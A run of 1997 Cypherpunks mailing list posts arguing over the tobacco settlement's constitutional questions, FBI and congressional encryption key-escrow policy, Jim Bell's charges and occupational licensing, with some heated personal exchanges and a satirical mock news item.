The agreement halts future lawsuits, thus depriving those who have not yet
sued, or even those who have not yet contemplated suing, from seeking
redress in the courts.

This would seem to be a rather major constitutional issue.

It's also unclear whether the "agreement" covers tobacco companies not even
extant at this time (hence my use of the "Tim's Tobacco Company" example,
where TTC is incorporated in 1998 and begins advertising with Joe
Camel-type ads. Several states attorneys general have opinined that the
deal means a complete end to such advertising, to sponsorship of sporting
events by tobacco companies, etc.

BTW, we're not the only ones who think this agreement, and the enabling
legislation which is supposed to come from Congress, raise very serious
constitutional questions.

The problem may lie in class action suits in general. I'm no constitutional
scholar, but I rather doubt the Framers had in mind the concept that J.
Random Luser could sue in courts "on behalf" of thousands or millions of
others who have not even joined the suit or may not even be aware of the
suit, or may not support the suit. And the notion that the states, or
insurance companies, or whatever, could sue to collect their costs when no
contract was involved...well, this is just plain absurd. If I eat too many
hamburgers and develop coronary disease, and some insurance company loses
money on me....they cannot sue MacDonalds or Burger King for making their
costs higher, any more than an exercise gym or health food store can sue
the insurance company and demand a part of the "savings" from the
presumably healthier clients!

There are indeed deep constitutional issues involved in both of the cases
being discussed in this thread.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 11 Jul 1997 23:57:56 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Airlines to start profiling, bag matching
In-Reply-To: <v0310280aafeb55463c3b@[207.67.207.179]>
Message-ID: <3.0.2.32.19970711114124.00699960@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 08:41 PM 7/10/97 -0700, Alan Olsen wrote:

>"Is this Nazi land so good?  Would you leave it if you could?" - from the
>missing part of the Clinton inaguration speech

Or how about the Clash's "I'm Sick and Tired of the USA"

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 13 Jul 1997 18:54:37 +0800
To: Edgar W Swank <edgarswank@juno.com>
Subject: Re: FWD: SCIENTISTS PROPOSE NEW ENCRYPTION SCHEME
In-Reply-To: <19970709.171758.10958.3.edgarswank@juno.com>
Message-ID: <Pine.LNX.3.91.970711114910.1042C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> SCIENTISTS PROPOSE NEW ENCRYPTION SCHEME
> Two scientists at the IBM Almaden Research Center in San Jose,
> Calif.  have developed a new approach to public key cryptography
> based on mathematical constructs called lattices.  The system
> would be based on a particular set of hidden hyperplanes that
> constitute the private key and a method of generating points near
> one of those hyperplanes for the public key.  

This is old(ish) news. This was the Cynthia Dwork paper, but 
unfortunately the keysizes for the predictably secure version of the 
cryptosystem are unmanageably large, in the smaller key system there is a 
probablility of a bit decrypting wrongly (either a 0 as a 1 or the other 
way round, I can`t remember)...

I would recommend getting a copy of the paper to anyone interested, it is 
really interesting stuff even if it is only theory.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 12 Jul 1997 03:11:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell (FINALLY!) Charged
In-Reply-To: <Pine.GSO.3.96.970711091911.1678A-100000@linda.teleport.com>
Message-ID: <19970711185958.11905.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain




> James D. Bell was charged Wednesday with interfearing with a federal
> officer and using false Social Security numbers. 

Both of which are bailable offenses, and completely unrelated to 99%
of the inflammatory horseshit spewed forth by the government over this
case.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 12 Jul 1997 03:17:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <19970711120620.08802@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jul 11, 1997 at 11:28:39AM -0700, Tim May wrote:
> At 12:48 AM -0700 7/11/97, Kent Crispin wrote:
> ...
> >Hmmm.  I thought the basis was completely different.  I thought the
> >deal was between legal officials of various states who were mounting
> >suits against the tobacco companies, and the tobacco companies.  That
> >is, it is essentially an "out of court" settlement of a civil lawsuit.
> >
> >As such, it would indeed not be binding on Tim May's Tobacco Co.  And
> >there are no particular constitutional issues involved, or free speech
> >issues, either, come to think of it -- the settlement is just between
> >the parties of a civil suit.
> 
> The agreement halts future lawsuits, thus depriving those who have not yet
> sued, or even those who have not yet contemplated suing, from seeking
> redress in the courts.

I don't think it is correct that the deal halts future lawsuits from 
other parties, only from the signers of the deal.

> This would seem to be a rather major constitutional issue.

Not really.  It would just be unconstitutional, and almost certainly
thrown out.  I don't think the lawyers involved are that stupid.  By
getting the major tobacco companies to an essentially private
agreement they have achieved their goals -- it would be silly to
depend on a fickle, money-hungry congress to pass some laws to enforce
it. 

> It's also unclear whether the "agreement" covers tobacco companies not even
> extant at this time (hence my use of the "Tim's Tobacco Company" example,
> where TTC is incorporated in 1998 and begins advertising with Joe
> Camel-type ads. Several states attorneys general have opinined that the
> deal means a complete end to such advertising, to sponsorship of sporting
> events by tobacco companies, etc.

As a practical matter, yes.  As a matter of law, no.  TTC isn't going
to be sponsoring tennis tournaments any time soon, I trust?  It's 
*big* tobacco that is under attack here -- the small fry don't matter.

> BTW, we're not the only ones who think this agreement, and the enabling
> legislation which is supposed to come from Congress, raise very serious
> constitutional questions.

Could you find a reference to this putative enabling legislation? I
think it is a figment of somebody's imagination.  My impression was
that the "stick" wasn't new legislation, but rather the imminent
regulation of nicotine as a drug.  There *may* be such legislation in
the works, but it seems completely unnecessary for the anti-tobacco
forces to accomplish their aims, and, in fact, a stupid thing to 
depend on.

> The problem may lie in class action suits in general. 

Completely different issue, I believe, one I would not care to argue 
either way.

[...]
> 
> There are indeed deep constitutional issues involved in both of the cases
> being discussed in this thread.

There may be some constitutional issues in the ratings issue, but all 
I have seen on this thread so far is speculation about issues that 
*might* be present.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 12 Jul 1997 00:41:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Freeh's Testimony (FBI Seeks Domestic GAK)
In-Reply-To: <v03007804afeb160fdc2b@[198.115.179.81]>
Message-ID: <3.0.2.32.19970711122229.006c8c44@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>Statement of Louis J. Freeh, Director, FBI, before the Senate Judiciary
>Committee Hearing on Encryption, United States Senate, Washington, D. C. -
>July 9, 1997

>Would we allow a car to be driven with features which would evade and
>outrun police cars? 

But we do.  Two hundred MPH cars remain street legal most places.  With a 
good driver, these cars can even move fast enough to outrun radio 
communications (or rather the response time involved in radio 
communications).  The search circle that contains them becomes too big too 
fast.

>Would we build houses or
>buildings which firefighters could not enter to save people?

These remain legal as well.  Heinlein's reinforced concrete house on Bonny 
Doone road in the Santa Cruz mountains.  It is perfectly legal to build a 
reinforced concrete structure that could defeat entry for many days.

More generally, it is legal not to speak and thus to deprive police and 
prosecutors of the contents of your mind.  Crypto just extends this right.

>Most importantly, we are not advocating that the privacy rights or personal
>security of any person or enterprise be compromised
>or threatened. You can't yell "fire" in a crowded theater. 

I don't think this has ever been tested in court.  I'll bet their are many 
circumstances in which it is perfectly legal to shout fire in a(n unburning) 
crowded theater.

>You can't with
>impunity commit libel or slander. 

Unless you're judgement proof.  These are usually civil not criminal matters 
in the Land of the Free and the Home of the Brave.

>In support of our position for a rational encryption policy which balances
>public safety with the right to secure communications,
>we rely on the Fourth Amendment to the Constitution. There the framers
>established a delicate balance between "the right of the
>people to be secure in their persons, houses, papers, and effects (today we
>might add personal computers, modems, data
>streams, discs, etc.) against unreasonable searches and seizures." Those
>precious rights, however, were balanced against the
>legitimate right and necessity of the police, acting through strict legal
>process, to gain access by lawful search and seizure to the
>conversations and stored evidence of criminals, spies and terrorists.

Course you long ago dropped the bit about "reasonable cause to believe a 
*crime *has been* committed."  Loads of preventive wiretaps and regulatory 
searches in the absence of even the accusation of a crime.  Violating Regs is 
usually not a crime.

>The precepts and balance of the Fourth Amendment have not changed or
>altered. What has changed from the late eighteenth to
>the late twentieth century is technology and telecommunications well beyond
>the contemplation of the framers.

Course the Framers didn't have wiretaps either since they had no wires.  
We're just trying to restore the balance to the way it was in those days.  No 
wiretaps.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 12 Jul 1997 03:36:01 +0800
To: cypherpunks@Algebra.COM
Subject: NEWS: Freedom of Movement Could Cripple Cops, FBI Warns
Message-ID: <v03102802afec39a13ef7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




No comment needed.

>Date: Fri, 11 Jul 1997 12:13:18 -0700
>
>Freedom of Movement Could Cripple Cops, FBI Warns
>
> By Klaus Prime
>
>WASHINGTON, July 9 (Reuter) - FBI Director Louis Freeh on Wednesday issued
>his sternest warning yet that freedom of movement by citizen units could
>wreak havoc on crime-fighting efforts.
>
>But travel industry participants warned that U.S. restrictions on freedom
>of movement, which would require citizen units to notify law enforcment of
>their travel plans and check in at police stations would merely boost
>travel to foreign countries which don't have such restrictions.
>
>Freeh urged Congress to promote the use of a type of "position escrow"
>that allows law enforcement agents to track the locations of terrorists,
>child pornographers, money launderers, and other thought criminals by
>using the position escrow data base. "Access to the position escrow data
>base would only be by legitimate law enforcement personnel," Freeh said.
>
>"Law enforcement is in unanimous agreement that the widespread freedom of
>criminals to move about freehly will devastate our ability to fight crime
>and prevent terrorism," the FBI director testified before the Senate
>Judiciary Committee.
>
>Freeh has spoken out numerous times against the unrestricted ability of
>citizen units to move about freehly, but his remarks Wednesday focused
>mainly on the threat to law enforcement efforts within the United States.
>
>Current laws place few restrictions on where citizen units may travel and
>live, except for parolees and sex offenders, and some scholars believe
>restrictions on U.S. citizens might be unconstitutional.
>
>Wednesday, 9 July 1997 17:45:40
>RTRS [nN09285032]
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 12 Jul 1997 03:53:41 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <v03102803afec3aa77cb6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:06 PM -0700 7/11/97, Kent Crispin wrote:
>On Fri, Jul 11, 1997 at 11:28:39AM -0700, Tim May wrote:

>> The agreement halts future lawsuits, thus depriving those who have not yet
>> sued, or even those who have not yet contemplated suing, from seeking
>> redress in the courts.
>
>I don't think it is correct that the deal halts future lawsuits from
>other parties, only from the signers of the deal.

Well, what more is there to say? You obviously have not bothered to follow
this issue, or you would surely know that a key provision of the deal, and
probably one of the main things that made it somewhat attractive to the
tobacco companies is that it put an end to future lawsuits.

(How could it be otherwise, as a deal? If the tobacco companies paid out
$360 billion to the current crop of folks suing them (some fraction to the
suers, some fraction for education and health programs, etc.), and then in
5 years or so _another crop_ of folks demanded "their" hundreds of
billions, and so on forever....)

Here is just one of the recent news stories on this point:

"Tuesday July 8 11:59 AM EDT

"Lawyer sues over tobacco deal

"CHICAGO, July 8 (UPI) _ Attorney Kenneth Moll says the agreement between
more than three dozen states and the tobacco industry will
compromise the rights of individuals and he has filed suit challenging that
part of the agreement that protects cigarette-makers from future
suits. "

Now is it clearer to you what we've been discussing? Jeesh.

(I could spend more time with HotBot or Alta Vista digging up more news
stories, inclduding the actual text of the agreement, such as it has been
publicized, but I don't plan to spend my time recapping the obvious. Check
out the news stories in the June 20-22 period for more details than you can
read in a day of reading.)





>> BTW, we're not the only ones who think this agreement, and the enabling
>> legislation which is supposed to come from Congress, raise very serious
>> constitutional questions.
>
>Could you find a reference to this putative enabling legislation? I
>think it is a figment of somebody's imagination.  My impression was
>that the "stick" wasn't new legislation, but rather the imminent
>regulation of nicotine as a drug.  There *may* be such legislation in
>the works, but it seems completely unnecessary for the anti-tobacco
>forces to accomplish their aims, and, in fact, a stupid thing to
>depend on.

I just plain give up on you, Kent. You obviously have not been reading or
following the news. The "deal" requires Congressional action...there have
been scads of stories on this precise point, and Clinton is already making
noises about not signing the legislation unless details are changed. Again,
spend a few minutes in a search engine. (Try typing "tobacco" into Yahoo's
news search engine, for example.)

No point in even debating someone who is ignorant of the basics in the debate.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Swire <swire.1@osu.edu>
Date: Sat, 12 Jul 1997 01:45:53 +0800
To: cypherpunks@cyberpass.net
Subject: Subject: Re: The Recent Trend in "Collective Contracts"
Message-ID: <199707111736.NAA18795@mail3.uts.ohio-state.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 08:12 PM 7/10/97 -0700, Marshall Clow wrote:

>> <snip from previous posts>
>>        The big legal fight on ratings is whether any "state action" takes
>>place.  The First Amendment governs efforts by a federal or state government
>>to restrict speech.  If private companies "voluntarily" agree to do
>>something, the First Amendment simply does not apply.  But if the coercive
>>power of the state forces them to do the same thing, then the courts can get
>>involved under the First Amendment.
>>        Here, if the government is too explicit that it will ban certain
>>speech unless the networks ban it, then a court might find that the
>>government in fact is involved in an impermissible way.
>>
>What is the (legal) downside to a network (or producer)
>saying "No, I won't rate my shows."?
>Personally, I'd love to see Disney do this.

        Today's papers are filled with the new "voluntary" rating system
that most of the networks agreed to.  One of the threats, for whoever didn't
join, would be a *ban* on violent programming before 10 p.m.  Networks that
did join would do the rating, and so would not be subject to the ban.

        So, the analysis really takes two steps:
        (1) If "voluntary" and "private", the courts don't get involved
under the first amendment, because no state action.  Yesterday, Camel
announced that it "voluntarily" had decided to stop using Joe Camel.
        (2) If "involuntary" and "state action", then it's like the CDA
case.  The Court looks at the size of the burden on protected speech, and
then looks to see if their is a less restrictive alternative.  For instance,
the "no violence before 10 p.m." rule would be scrutinized like the
"indecency" provision in the CDA. Then you go to Vegas and bet on what the
courts will say. :)

        Peter

Prof. Peter Swire
Ohio State University
College of Law
mailto:swire.1@osu.edu
web: http://www.osu.edu/units/law/swire.htm (in early stages of construction)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Sat, 12 Jul 1997 03:12:22 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <v03102801afeb676790ab@[207.167.93.63]>
Message-ID: <3.0.1.32.19970711140214.009738d0@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 08:06 AM 7/11/97 EDT, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) wrote:
>Tim May <tcmay@got.net> writes:
>> These "guilds" are an interesting case of self-policing where there is no
>> option for opting out. (I don't believe it is possible to practice law or
>> medicine without approval/licensing from these kinds of
>> organizations/guilds.)
>
>It is a CRIME is most jurisdictions.
>
>> Licensing in general is something I think is getting out of hand.
>
>Actually, licensing is a neat idea that leads to more efficient markets.
>E.g., New York State licenses plumbers, contractors, barbers, etc; if
>you enter into a contract with an unlicensed party for one of these
>services, it won't be enforced by the state court. E.g. you can't
>sue the unlicensed bricklayer for laying your bricks crooked, and he
>can't sue you for not paying. :-) Here the state just says, if you
>want our jurisdiction, you play by our rules and you pay a fee.

How does this make for a more "efficient" market?  All I see is increased
costs of doing business (paying for the licensing), and increased costs to
the consumer (hiring a licensed contractor).  The benefit?  You're allowed
to invite the government into disputes.

Don't get me wrong, I understand the theory behind licensing.  It implies
that the licenseholder is proficient at his or her task (or at least was
when the license was granted.)  This can be important to public safety, in
that a shoddy electrician could cause a fire that could burn an entire
block, or that a hygenically-challenged barber could transmit nasty virii
via unsterilized scissors.  

Public Safety is therefore served.  But where does the efficiency come from?

--

The self-policing guilds Tim mentions above exist because even the law
recognizes that it is unable to adequately define the boundaries within
which a physician must operate.  (You'd think lawyers would be able to get
it down legally on paper, but then there'd be no more need for congress
(spit) and they'd be out of jobs...)  They take on the function of an
electrician's license, since there's no "National Physicians Code" to
measure them by.

Let's apply it to us.  Take the case of a programmer who writes the code
for an electronic defibrillator.  Obviously, the code needs to be
"perfect", or else the machine might deliver a lethal shock.  Who should
write it?  A "licensed" programmer?  A member of the ACM?  A graduate of
MIT?  J Random StreetPerson?  

Let's say it fails in operation, killing a patient.  It's shown that faulty
code is responsible.  Do we yank the programmer's license, or his
membership in the ACM?  Contact MIT and revoke his diploma?  Sue MIT for
granting him one in the first place?  Put him back on the streets?  

What if it's the fault of the VisualSnozz++ compiler?  Can we go back and
pull Microsoft's coder's ACM membership?  Take away his license to code?
Pull the original coder's license for failing to use a compiler written by
an ACM certified professional?  Put Bill Gates in jail for selling it?

Would membership in the ACM be "proof" to an employer that this person
would produce "bug-free" software?  Would they bond and insure their code,
etc.?

The big questions, then, are:
Does regulation fit our industry?  If so, where?
Will I be kicked out of the ACM for writing non-GAKked encryption software?
 ...for posting to cypherpunks in support of non-GAKked software?
...for having an incorrect political viewpoint?  A conviction for
thoughtcrime?

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in ActiveX sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 12 Jul 1997 05:28:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <19970711141401.20013@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jul 11, 1997 at 12:45:15PM -0700, Tim May wrote:
[...]
> 
> Well, what more is there to say? You obviously have not bothered to follow
> this issue, or you would surely know that a key provision of the deal, and
> probably one of the main things that made it somewhat attractive to the
> tobacco companies is that it put an end to future lawsuits.

No, it does not.  It puts an end to certain *kinds* of lawsuits, most
notably, class action suits, and it limits punitive damages.  But it
is not a blanket end lawsuits, as you seem to believe. 

> (How could it be otherwise, as a deal? 

I don't know, Tim.  It's just that it *is* otherwise, as a deal.

[...]

> Now is it clearer to you what we've been discussing? Jeesh.

Somewhat.  Presumably it is for you, as well.

[...]

> I just plain give up on you, Kent. You obviously have not been reading or
> following the news. The "deal" requires Congressional action...there have
> been scads of stories on this precise point, and Clinton is already making
> noises about not signing the legislation unless details are changed.

You are right, I was wrong, the deal does require congressional
action.  You are also right that I haven't been spending a lot of time
following this story.  However, it is obvious, given your obvious lack
of understanding of the details about which suits were blocked and
which were not, that you weren't paying close attention either. 

Relax.  No need to be indignant.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 12 Jul 1997 02:51:07 +0800
To: Alan <cypherpunks@Algebra.COM
Subject: Re: Jim Bell (FINALLY!) Charged
In-Reply-To: <Pine.GSO.3.96.970711091911.1678A-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970711142447.0076de2c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:29 AM 7/11/97 -0700, Alan wrote:
>Oregonian Friday July 11, 1997 Page B3
>
>James D. Bell was charged Wednesday with interfearing with a federal
>officer 

Don't you (or someone you conspire with) actually like have to communicate or 
be in the presence of a federal officer for that federal officer to be 
interfered with?  I don't remember any direct interference from the 
paperwork.

>and using false Social Security numbers.  He has been held without
>bail in the Pierce County Jail since his May 18 arrest.

Sounds dangerous.  How did he use them?

>However, sources close to the case said Thursday that plea negotiations
>are under way and are likely to be concluded before then.

Another one of those face saving plea bargains that the Feds accept when they 
know they've bit the big one.

[Warning old, politically incorrect law school joke coming up.]

What was the biggest charge reduction in the history of plea bargaining?  
That would have been the reduction from a charge of Sodomy to a charge of 
Following Too Close. -- From the International Committee for the Preservation 
of Politically Incorrect Law School Jokes.

>In an affidavit for the search warrant, IRS Special Investigator Jeff
>Gordon said that Bell was "directly soliciting others to set up a system
>to murder government officials" and that he had devised a plan to
>overthrow the government.

So where are these "others" and why are they still being allowed to walk the 
streets?  Last time I looked, it was legal to devise a plan to overthrow the 
government.

They always prey on the weak or sick.

DCF

All right.  You forced me.  "Why do they call it the 'Reasonable Man Test'?  
Because there's no such thing as a reasonable woman."  (See Above)  [Duck and 
Cover!]

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=K6QM
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Neil McKenty (WWBAKL)" <NEILM@GIB.CO.NZ>
Date: Fri, 11 Jul 1997 11:43:35 +0800
To: "'snow'" <tcmay@got.net>
Subject: RE: Recreational pharmaceuticals by genetic engineering
Message-ID: <c=NZ%a=_%p=FCL%l=NATSUP-970711032557Z-198@smtp.fcl.co.nz>
MIME-Version: 1.0
Content-Type: text/plain





>-----Original Message-----
>From:	snow [SMTP:snow@smoke.suba.com]
>Sent:	Friday, 11 July 1997 15:06
>To:	tcmay@got.net
>Cc:	cypherpunks@toad.com
>Subject:	Re: Recreational pharmaceuticals by genetic engineering
>
>> >try to haul off people who have pond scum in their bird feeders and the
>> >like.  (Anything that will make them look even more absurd...)
>> Speaking of which, I recall that the origins of LSD were from some kind of
>> fungus or "rust" found on some types of grain.
>
>	Ergot, a mold that grows on certain types of Rye or fescue, I forget
>which. This is used to make Ergotamine (imine?) which is used in treatment
>of certain types of migraines. 
>
>
>They also use the same mould, ergot, to make hydergine.  A supposed smart
>drug/nutrient.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 12 Jul 1997 06:34:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <v03102807afec609e6821@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:14 PM -0700 7/11/97, Kent Crispin wrote:
>On Fri, Jul 11, 1997 at 12:45:15PM -0700, Tim May wrote:
>[...]
>>
>> Well, what more is there to say? You obviously have not bothered to follow
>> this issue, or you would surely know that a key provision of the deal, and
>> probably one of the main things that made it somewhat attractive to the
>> tobacco companies is that it put an end to future lawsuits.
>
>No, it does not.  It puts an end to certain *kinds* of lawsuits, most
>notably, class action suits, and it limits punitive damages.  But it
>is not a blanket end lawsuits, as you seem to believe.

You're a fool and a knave. You claim I said "all" lawsuits, when it was
clear from my posts, the posts of Peter Swire, and others, that the Deal
involved an end (if upheld) to various kinds of lawsuits, raising serious
constitutional issues.

The "all" is your addition to my words. I don't recall ever making any
statement that "all lawsuits" are blocked, settled, etc. Presumably R.J.
Reynolds could still be sued for having slippery floors in their corporate
buildings...I don't know. What I do know is that the Deal bars lawsuits
from those not even part of the class action lawsuits: it effectively gives
a grant of perpetual immunity for smoking-related damages to the tobacco
companies. _This_ is the main issue being discussed, along with other parts
of the Deal, such as the touted banishment of the Marlboro Man, Joe Camel,
and similar images from all advertising and sponsorship of sporting events.

And to show your knavishness, the point you made was this:

"I don't think it is correct that the deal halts future lawsuits from
other parties, only from the signers of the deal."

This is patently wrong, as the various lawsuits being filed, or planned to
be filed, show. The Deal would halt future lawsuits from smokers, even
those who have not yet engaged in any class action suit (even those who
have not yet started smoking, even those not yet born, as experts
understand the language of the Deal). These are certainly constitutional
issues, not mere agreements between parties to a deal, as you allege.


>> (How could it be otherwise, as a deal?
>
>I don't know, Tim.  It's just that it *is* otherwise, as a deal.

You're disingenuous, as usual. I've come to expect nothing different from you.

The Deal raises substantive issues in many areas, as nearly all news
reports are showing. Critics are emerging from all corners, ranging from
Ralph Nader to the ACLU. Clinton has said he will veto the Congressional
legislation if it enacts the language currently in the Deal. Lawsuits have
already been filed.

>Relax.  No need to be indignant.
>

I'll be indignant if I wish. Your intent clearly is to troll this group
with government-friendly shilling. And like Sternlight, you mask your
ignorance on many issues with pomposity. Like Detweiler and Vulis, your
intent is to disrupt the group.

Taking you out of my Eudora filter file--as I periodically do with almost
everyone in that file--was a mistake. Back in you go.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Sat, 12 Jul 1997 08:25:01 +0800
To: cypherpunks@Algebra.COM
Subject: McCain Open to Key Recovery Alternative                            by Rebecca Vesely                             3:06pm  11.Jul.97.PDT Senator John McCain, sponsor of legislation that                            would create a domestic key recovery system for all encrypted                            commercial transactions and personal communications, said Friday that                            he is open to hearing alternatives to such a plan.                             "We are not wedded entirely to key recovery," the Arizona Republican                            said in an interview.                             McCain, chairman of the Senate Commerce, Science, and Transportation                            Committee, and Senator Bob Kerrey (D-Nebraska) introduced the                            Secure Public Networks Act last month. Privacy advocates and much of                            the high-tech industry oppose domestic key recovery on grounds that it                            would violate civil rights and be impractical and expensive to build and                            manage.                             McCain said he met with Microsoft representatives recently to discuss                            a new technology being developed by the software giant that could be                            less intrusive and problematic than key recovery. The senator also said                            he plans to meet with Netscape officials next week to discuss yet                            another alternative.                             Officials from Netscape were not immediately available for comment.                             "I'm saying, OK, if you have another solution, I'd like to hear it,"                            McCain said, though he stressed that protecting national security                            remains his "first obligation."                             The McCain-Kerrey bill includes provisions for setting up a voluntary                            domestic key recovery system, including incentives for those who                            participate. Critics say participation in the key-management                            infrastructure wouldn't really be voluntary - it would be a                            prerequisite to conducting electronic commerce. Encryption, or                            data-scrambling technology, is widely viewed as the cornerstone to                            e-commerce because it conceals credit card numbers and other personal                            information traveling over networks. Key recovery, as outlined in the                            bill, would create a system of certificate authorities to whom users                            would give a copy of their data keys. Law enforcement could then access                            that copy of your key through a court order.                             McCain's flexibility on the issue could influence the debate over how                            to protect national security while allowing a free market to flourish in                            the digital age.                             Just two days ago, at a Senate Judiciary Committee hearing on the bill,                            FBI director Louis Freeh testified on the need for mandatory domestic                            key recovery, and some senators on the committee, notably the                            chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of                            domestic key recovery is needed to allow law enforcement to wiretap                            suspect digital communications and transactions.
Message-ID: <33C6CF32.6EB8@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.wired.com/news/news/politics/story/5133.html


McCain Open to Key Recovery Alternative

by Rebecca Vesely 
3:06pm  11.Jul.97.PDT 

Senator John McCain, sponsor of legislation that
would create a domestic key recovery system for all encrypted
commercial transactions and personal communications, said Friday that
he is open to hearing alternatives to such a plan. 

"We are not wedded entirely to key recovery," the Arizona Republican
said in an interview. 

McCain, chairman of the Senate Commerce, Science, and Transportation
Committee, and Senator Bob Kerrey (D-Nebraska) introduced the
Secure Public Networks Act last month. Privacy advocates and much of
the high-tech industry oppose domestic key recovery on grounds that it
would violate civil rights and be impractical and expensive to build and
manage. 

McCain said he met with Microsoft representatives recently to discuss
a new technology being developed by the software giant that could be
less intrusive and problematic than key recovery. The senator also said
he plans to meet with Netscape officials next week to discuss yet
another alternative. 

Officials from Netscape were not immediately available for comment. 

"I'm saying, OK, if you have another solution, I'd like to hear it,"
McCain said, though he stressed that protecting national security
remains his "first obligation." 

The McCain-Kerrey bill includes provisions for setting up a voluntary
